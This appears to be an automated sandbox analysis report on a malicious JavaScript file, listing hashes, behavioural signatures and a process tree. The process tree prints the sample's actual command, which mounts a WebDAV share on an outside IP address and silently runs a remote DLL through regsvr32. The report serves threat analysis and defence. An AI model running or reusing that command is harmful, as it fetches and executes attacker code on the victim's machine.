Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-07-2024 17:42

General

  • Target

    134186817131725037.js

  • Size

    6KB

  • MD5

    ca514a4370b698d961cece428efc844c

  • SHA1

    7bfc74769b720cc10b9a68a40ac22014e78ab76b

  • SHA256

    72b2dde1c8f3c378438cd0a5e45812a41f776385689b799fc942fb4eb018a382

  • SHA512

    d1126ee4591ad4e26ec92487ef8f6ccb22e3e3d4ad9f1144a0368e7132e8226ef8af91f445778125d2eb8d1868e0706cb62137edb7ba7b830a6cd85a5bc70194

  • SSDEEP

    96:ClZz6PhjArxsWzOKjC9f6E0TclfqMwtRPy9ecUgN7kxJOvRgNuLpR+L7owQd1Roj:y5+S9serjnIGNuAkh46u7yFKV

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\134186817131725037.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\20372662426754.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3620
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:668

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads